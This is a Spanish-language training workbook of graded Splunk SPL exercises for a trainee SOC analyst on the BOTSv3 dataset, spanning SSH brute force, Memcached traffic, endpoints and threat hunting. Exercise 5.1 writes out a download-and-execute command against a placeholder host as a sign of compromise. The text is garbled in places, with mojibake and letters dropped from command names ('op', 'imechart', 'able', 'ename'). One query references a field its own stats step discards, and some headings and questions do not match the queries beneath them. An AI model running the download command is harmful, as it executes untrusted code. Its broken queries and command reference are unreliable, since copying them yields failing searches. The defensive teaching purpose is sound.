Prácticas SPL Guiadas con BOTSv3
Contexto: Aprendiz de SOC
Eres un analista SOC en formación en el “Banco Nacional”. Acabas de terminar el curso básico de Splunk y ahora toca practicar con datos reales. Tu mentor te ha preparado una serie de ejercicios progresivos para que domines SPL por ti mismo.
Cada ejercicio tiene un objetivo claro, una busqueda SPL, una explicación de que ves y una pregunta para que respondas antes de avanzar.
Dataset: BOTSv3 | Índice: index=botsv3 | Periodo: Agosto 2018
NIVEL 1: Reconocimiento del Entorno
Antes de buscar amenazas, tienes que saber que datos tienes.
Ejercicio 1.1: ?Cuantos sourcetypes hay?
Objetivo: Saber la cantidad total de tipos de log diferentes en tu SIEM.
index=botsv3 | stats dc(sourcetype) as total_sourcetypesQue ves: Un único número: la cantidad de sourcetypes distintos.
En tu banco: Si un sourcetype nuevo aparece de repente, alguien conecto un equipo no autorizado.
Pregunta: ?Cuantos sourcetypes diferentes hay en BOTSv3?
Ejercicio 1.2: Cuales son esos sourcetypes?
Objetivo: Ver la lista completa de sourcetypes disponibles.
index=botsv3 | stats values(sourcetype) as sourcetypesQue ves: Lista completa de sourcetypes, ordenados alfabeticamente.
En tu banco: Necesitas saber si tienes logs de firewall, de antivirus, de servidores…
Pregunta: ?Cuales son los 5 sourcetypes más importantes para seguridad? (pista: firewall, autenticación, cloud, antivirus, DNS)
Ejercicio 1.3: Que hosts reportan?
Objetivo: Saber cuantos equipos diferentes están enviando logs.
index=botsv3 | stats dc(host) as total_hostsQue ves: Número de hosts únicos.
Variante - ver la lista:
index=botsv3 | stats values(host) as hostsPregunta: ?Sabes diferenciar los hosts de AWS (amazonaws.com) de los hosts locales?
Ejercicio 1.4: Volumen por sourcetype (top 10)
Objetivo: Entender que tipo de log predomina en tu red.
index=botsv3 | top limit=10 sourcetypeQue ves: Los 10 sourcetypes con más eventos, ordenados de mayor a menor con su porcentaje.
En tu banco: Saber que tu firewall genera el 30% de los logs o que syslog es dominante te ayuda a dimensionar tu SIEM.
Pregunta: ?Que sourcetype es el más abundante? ?Era el que esperabas?
Ejercicio 1.5: Tabla sourcetype + host
Objetivo: Asociar cada tipo de log con el host que lo genera.
index=botsv3 | stats count by sourcetype, host | sort - countQue ves: Cada combinación sourcetype-host con su cuenta de eventos.
En tu banco: Saber que el firewall Cisco ASA solo reporta desde un host específico te ayuda a identificar si alguien lo desconecta.
Pregunta: ?Hay sourcetypes que aparecen en multiples hosts? ?Cuales?
NIVEL 2: Autenticación y Accesos
Los logs de autenticación son lo primero que revisa un SOC.
Ejercicio 2.1: Buscar sourcetypes de autenticación
Objetivo: Encontrar los logs de login (Windows y Linux).
index=botsv3 | top sourcetype | search sourcetype=*secure* OR sourcetype=*win* OR sourcetype=*login*Que ves: Sourcetypes relacionados con autenticación.
En tu banco: Los logs de linux_secure contienen SSH, los de wineventlog contienen EventLog de Windows.
Pregunta: ?Que sourcetype encontraste para autenticación Linux? ?Y para Windows?
Ejercicio 2.2: Intentos de SSH fallidos
Objetivo: Detectar ataques de fuerza bruta contra servidores Linux.
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, host | sort - countQue ves: IPs atacando por SSH a servidores Linux, con número de intentos fallidos.
En tu banco: Una IP con 100+ intentos fallidos es un ataque de fuerza bruta en curso.
Pregunta: ?Cuantas IPs diferentes intentaron hacer SSH bruteforce? ?Cual fue la más insistente?
Ejercicio 2.3: Usuarios atacados por SSH
Objetivo: Saber a que usuarios intentan acceder los atacantes.
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by user, src_ip | sort - countQue ves: Lista de usuariosç›®æ ‡ y las IPs que intentaron acceder.
En tu banco: Si un atacante prueba con “root”, “admin”, “administrator” → ataque automatizado.
Pregunta: ?Que usuarios aparecen como objetivo? ?Hay alguna cuenta de administrador en la lista?
Ejercicio 2.4: Logins SSH exitosos
Objetivo: Ver quién consiguio acceso por SSH.
index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by user, src_ip, hostQue ves: Conexiones SSH exitosas: quien, desde donde, a que servidor.
En tu banco: Una IP externa que logra acceso exitoso después de muchos fallidos = atacante dentro.
Pregunta: ?Hay alguna IP que aparezca tanto en fallidos como en exitosos?
Ejercicio 2.5: Conexiones fuera de horario
Objetivo: Detectar actividad inusual en horario no laboral.
index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour < 7 OR hour > 19 | stats count by user, src_ip, hourQue ves: Conexiones SSH exitosas entre las 19:00 y las 07:00.
En tu banco: Un administrador conectandose a las 3am desde una IP extrana = posible intruso.
Pregunta: ?Hay alguna conexión fuera de horario que parezca sospechosa?
NIVEL 3: Tráfico de Red
Ahora toca mirar el tráfico de red. Aquí es donde los atacantes dejan más huellas.
Ejercicio 3.1: Tráfico DNS - consultas más frecuentes
Objetivo: Ver qué dominios se están consultando en tu red.
index=botsv3 sourcetype=stream:dns | top limit=20 queryQue ves: Los 20 dominios más consultados desde tu red interna.
En tu banco: Dominios de servicios cloud (aws, azure) son normales. Dominios con nombres extranos o de reciente creación son sospechosos.
Pregunta: ?Hay algun dominio en el top 20 que no parezca legitimo?
Ejercicio 3.2: Tráfico a puertos inusuales
Objetivo: Detectar servicios no autorizados corriendo en la red.
index=botsv3 sourcetype=stream:tcp | top limit=20 dest_portQue ves: Los puertos TCP más usados en tu red.
Puertos normales: 80 (HTTP), 443 (HTTPS), 22 (SSH), 53 (DNS), 25 (SMTP) Puertos sospechosos: 4444, 5555, 6666, 1337, 31337, 12345
En tu banco: Puerto 4444 = Metasploit default. Puerto 11211 (Memcached) = posible amplificación DDoS.
Pregunta: ?Ves algun puerto en el top 20 que sea inusual?
Ejercicio 3.3: Investigar el puerto 11211 (Memcached)
Objetivo: Analizar el tráfico a un puerto sospechoso en detalle.
index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort - countQue ves: IPs origen y destino involucradas en tráfico a puerto Memcached.
index=botsv3 dest_port=11211 | stats sum(bytes) as total_bytes, sum(bytes_out) as bytes_out by src_ip | sort - total_bytes | eval ratio=round(bytes_out/bytes_in, 2)Que ves: El volumen de datos y el ratio de amplificación. Si ytes_out es miles de veces mayor que ytes_in, es un ataque de amplificación.
En tu banco: El ataque Memcached usa el puerto 11211 para amplificar tráfico 10.000x - 50.000x.
Pregunta: ?Cual es el ratio de amplificación más alto que ves?
Ejercicio 3.4: Timeline del ataque Memcached
Objetivo: Ver cuándo ocurrio exactamente el ataque.
index=botsv3 dest_port=11211 | timechart span=5m countQue ves: Grafica de actividad contra puerto 11211 en intervalos de 5 minutos.
Cambia a pestaña “Estadisticas” para ver los números exactos.
Pregunta: ?En que fecha y hora exacta empezo el ataque? ?Cuantos minutos duro?
Ejercicio 3.5: Firewall - tráfico bloqueado
Objetivo: Ver qué intentos de conexión están siendo bloqueados por el firewall.
index=botsv3 sourcetype=cisco:asa | top limit=20 src_ipQue ves: Las IPs que más tráfico generan hacia el firewall.
index=botsv3 sourcetype=cisco:asa | stats count by src_ip, dest_ip | sort - count | head 20Que ves: IPs externas conectando a IPs internas a traves del firewall.
En tu banco: El firewall Cisco ASA protege el perímetro de la red.
Pregunta: ?Cuantos eventos de Cisco ASA hay en total? (Pista: lo vimos en A2)
NIVEL 4: Endpoints (Windows y Linux)
El atacante ya está dentro. Ahora toca ver qué hace en los equipos.
Ejercicio 4.1: Procesos más comunes en Windows
Objetivo: Entender que procesos son normales en los endpoints Windows.
index=botsv3 sourcetype=PerfmonMk:Process | top limit=15 process_nameQue ves: Los procesos que más recursos consumen en los servidores Windows.
En tu banco: Procesos como svchost.exe, explorer.exe, firefox.exe son normales. Powershell.exe o cmd.exe desde cuentas de usuario no.
Pregunta: ?Que procesos de administración ves en el top 15?
Ejercicio 4.2: Monitoreo de hosts Windows
Objetivo: Ver qué equipos Windows están reportando y su estado.
index=botsv3 sourcetype=WinHostMon | stats count by hostQue ves: Hosts Windows y cuantos eventos de monitoreo generan cada uno.
En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.
Pregunta: ?Cuantos hosts Windows diferentes hay en el dataset?
Ejercicio 4.3: Comandos ejecutados (osquery)
Objetivo: Ver qué comandos se ejecutaron en los endpoints Linux vía osquery.
index=botsv3 sourcetype=osquery:results | stats count by host, name | sort - count | head 20Que ves: Consultas osquery ejecutadas en cada host y cuantas veces.
En tu banco: osquery es una herramienta de monitoreo de endpoints. Consultas como “processes”, “listening_ports”, “crontab” son normales.
Pregunta: ?Que tipo de consultas osquery se ejecutaron?
Ejercicio 4.4: Paquetes instalados en Linux
Objetivo: Ver qué software tienen instalado los servidores Linux.
index=botsv3 sourcetype=dpkg | top limit=20 nameQue ves: Paquetes Debian instalados en los servidores Linux.
En tu banco: Saber que versiones de software tienen tus servidores te ayuda a detectar vulnerabilidades.
Pregunta: ?Hay algun paquete con versión antigua que pudiera ser vulnerable?
NIVEL 5: Threat Hunting (Caza Activa)
Ya sabes moverte por los datos. Ahora a buscar amenazas de verdad.
Ejercicio 5.1: Buscar descargas con PowerShell
Objetivo: Encontrar evidencia de descarga de malware.
index=botsv3 sourcetype=bash_history "wget" OR "curl"Que ves: Comandos wget/curl ejecutados en servidores Linux.
index=botsv3 sourcetype=bash_history "chmod +x" OR "./"Que ves: Archivos descargados y ejecutados.
En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.
Pregunta: ?Hay alguna IP externa a la que se hayan conectado para descargar archivos?
Ejercicio 5.2: Movimiento lateral
Objetivo: Detectar un atacante moviendose entre servidores.
index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, hostQue ves: Conexiones SSH por clave pública entre servidores.
En tu banco: Si el mismo usuario se conecta a 5 servidores diferentes en pocos minutos, alguien esta moviendose lateralmente.
Pregunta: ?Hay algun usuario que se conecte a multiples servidores?
Ejercicio 5.3: Cambios en archivos de configuración
Objetivo: Buscar persistencia (backdoors).
index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"Que ves: Comandos que modifican configuración del sistema.
En tu banco: Anadir un cronjob o modificar /etc/shadow son técnicas de persistencia tipicas.
Pregunta: ?Se anyadio algun cronjob o se modifico algun archivo de configuración crítico?
Ejercicio 5.4: Puertos en escucha
Objetivo: Ver qué servicios están expuestos en los servidores.
index=botsv3 sourcetype=osquery:results name=processes | stats count by host, nameQue ves: Procesos activos detectados por osquery.
Pregunta: ?Hay algun proceso anormal (puerto inusual, nombre extrano)?
Ejercicio 5.5: Resumen por hora de toda la red
Objetivo: Visualizar la actividad global y detectar anomalias.
index=botsv3 | timechart span=1h countQue ves: Grafica global de eventos por hora durante todo el periodo.
En tu banco: Picos repentinos = algo esta pasando (ataque, scan, exfiltración).
Pregunta: ?En que hora exacta hay un pico de actividad? ?A que sourcetype corresponde ese pico? (Pista: anade y sourcetype al timechart)
EJERCICIOS COMPLETOS (Mini-Challenges)
Mini-Challenge 1: SSH Brute Force
Encuentra la IP que hizo más intentos de SSH fallidos y determina:
- ?Cuantos intentos hizo?
- ?A que usuarios intento acceder?
- ?Logro acceder exitosamente?
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | sort - count | head 5Mini-Challenge 2: El ataque Memcached
Responde:
- ?Que IP atacante aparece?
- ?Que IP victima?
- ?Cuantos datos se exfiltraron en total?
- ?Cual fue el ratio de amplificación máximo?
index=botsv3 dest_port=11211 | stats sum(bytes_in) as total_in, sum(bytes_out) as total_out | eval ratio=round(total_out/total_in, 0)Mini-Challenge 3: Reconstrucción de incidente
Elige un host sospechoso (por ejemplo, el que recibe el tráfico Memcached: 10.10.10.178) y responde:
- ?Que sourcetypes aparecen para ese host?
- ?En que horas tuvo actividad?
- ?Que IPs externas se conectaron a el?
index=botsv3 dest_ip="10.10.10.178" | stats count by sourcetype, src_ip | sort - countMini-Challenge 4: Reporte de hallazgos
Escribe un mini-reporte (3-4 parrafos) respondiendo:
- ?Que encontro el SOC?
- ?Cual fue el vector de ataque?
- ?Que servidores estuvieron involucrados?
- ?Que recomendaciones darias?
Referencia Rápida DE COMANDOS SPL
| Comando | Que hace | Ejemplo |
|---|---|---|
| stats count | Cuenta eventos | stats count by src_ip |
| stats dc() | Cuenta valores únicos | stats dc(host) |
| stats values() | Lista valores únicos | stats values(sourcetype) |
| stats sum() | Suma valores numericos | stats sum(bytes) |
| op | Top N ordenado | op limit=10 sourcetype |
| imechart | Gráfico temporal | imechart span=1h count |
| eval | Crea campo calculado | eval ratio=out/in |
| where | Filtro condicional | where count > 10 |
| search | Filtro de texto | search “Failed password” |
| able | Tabla personalizada | able _time, src_ip, dest_ip |
| sort | Ordenar | sort - count |
| ename | Renombrar campo | ename count as total |
Documento creado el 06/06/2026 - Prácticas SPL progresivas con BOTSv3